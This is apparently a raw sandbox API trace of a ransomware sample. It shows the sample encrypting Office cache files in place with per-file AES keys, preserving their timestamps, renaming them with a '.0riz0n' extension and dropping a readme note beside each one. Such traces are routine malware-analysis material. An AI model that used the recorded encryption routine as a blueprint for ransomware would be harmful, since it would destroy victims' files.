RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9ca460) returned 1 [0161.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0161.968] CryptDestroyKey (hKey=0x829d78) returned 1 [0161.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0161.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0161.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0161.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0161.968] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94)) returned 1 [0161.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0161.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0161.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0161.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0161.968] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0161.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0161.968] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0161.968] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94)) returned 1 [0161.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0161.968] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0161.969] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0161.969] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0161.969] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0161.969] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94)) returned 1 [0161.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0161.969] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0161.969] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0161.969] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0161.969] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0161.969] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0161.969] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0161.969] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xfa64a430, dwHighDateTime=0x1d301be)) returned 1 [0161.969] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0161.969] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0161.969] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0161.969] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0161.969] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0161.969] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0161.970] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0161.970] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0161.970] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0161.970] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0161.970] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0161.971] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0162.574] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0162.956] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0163.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0163.000] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0163.353] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0163.444] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0163.667] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0163.667] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0163.880] FlushFileBuffers (hFile=0x1c0) returned 1 [0164.068] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xa00000 [0164.068] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0164.069] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0164.502] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0164.788] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0164.880] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0164.971] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0165.130] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xa00000 [0165.130] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0165.397] FlushFileBuffers (hFile=0x1c0) returned 1 [0165.741] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1400000 [0165.741] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x6b7ec0) returned 0x2d50020 [0165.741] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0x6b7e94, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0x6b7e94, lpOverlapped=0x0) returned 1 [0166.020] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x6b7ec0) returned 0x3410020 [0166.239] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0166.330] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3410020) returned 1 [0166.401] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x6b82c0) returned 0x2d50020 [0166.575] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x6b7e94, dwBufLen=0x6b8294 | out: pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x6b7ea0) returned 1 [0166.660] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0166.690] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x1400000 [0166.690] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0x6b7e94, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0x6b7e94, lpOverlapped=0x0) returned 1 [0166.780] FlushFileBuffers (hFile=0x1c0) returned 1 [0166.859] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0166.859] NtClose (Handle=0x1c0) returned 0x0 [0166.859] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.0riz0n")) returned 1 [0166.860] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0166.860] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0166.860] GetLastError () returned 0x2 [0166.860] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984768, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0166.860] GetLastError () returned 0x2 [0166.860] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0166.861] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0166.861] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0166.862] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0166.862] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x13) returned 0x1be3cf0 [0166.862] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cfe0 [0166.862] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1be3cf0) returned 1 [0166.862] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cfe0) returned 1 [0166.862] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2d1) returned 0xa7fc38 [0166.862] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x7aa74d90, dwHighDateTime=0x1d59598)) returned 1 [0166.862] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0166.862] NtClose (Handle=0x1c0) returned 0x0 [0166.862] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0166.863] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0166.863] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0166.863] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0166.940] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0166.940] CryptDestroyKey (hKey=0x829d78) returned 1 [0166.940] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0166.940] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0166.940] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0166.940] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0166.940] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975)) returned 1 [0166.940] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0166.940] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0166.940] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0166.940] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0166.940] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0166.941] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0166.941] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0166.941] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975)) returned 1 [0166.941] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0166.941] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0166.941] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0166.941] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0166.941] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0166.941] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975)) returned 1 [0166.941] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0166.941] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0166.941] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0166.941] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0166.941] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0166.941] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0166.941] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0166.941] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xfc0c60c0, dwHighDateTime=0x1d301be)) returned 1 [0166.941] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0166.941] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0166.942] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0166.942] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0166.942] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0166.942] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0166.942] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0166.942] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0166.942] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0166.942] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0166.942] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x91980) returned 0x10f0020 [0166.943] ReadFile (in: hFile=0x1c0, lpBuffer=0x10f0020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x10f0020*, lpNumberOfBytesRead=0x1a7fab0*=0x91975, lpOverlapped=0x0) returned 1 [0166.955] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x91980) returned 0x1c80020 [0166.975] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x10f0020) returned 1 [0166.977] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x91980) returned 0x10f0020 [0166.978] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0167.008] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c80020) returned 1 [0167.011] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x91d80) returned 0x1c80020 [0167.019] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1c80020*, pdwDataLen=0x1a7faac*=0x91975, dwBufLen=0x91d75 | out: pbData=0x1c80020*, pdwDataLen=0x1a7faac*=0x91980) returned 1 [0167.024] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c80020) returned 1 [0167.027] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0167.027] WriteFile (in: hFile=0x1c0, lpBuffer=0x10f0020*, nNumberOfBytesToWrite=0x91975, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x10f0020*, lpNumberOfBytesWritten=0x1a7fab0*=0x91975, lpOverlapped=0x0) returned 1 [0167.028] FlushFileBuffers (hFile=0x1c0) returned 1 [0167.111] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0167.112] NtClose (Handle=0x1c0) returned 0x0 [0167.112] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.0riz0n")) returned 1 [0167.112] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0167.113] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0167.113] GetLastError () returned 0x2 [0167.113] 